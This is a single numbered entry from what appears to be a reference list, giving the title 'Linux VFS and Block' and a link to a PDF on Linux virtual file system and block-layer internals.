  12. Linux VFS and Block : https://devarea.com/wp-content/uploads/2017/10/Linux-VFS-and-Block.pdf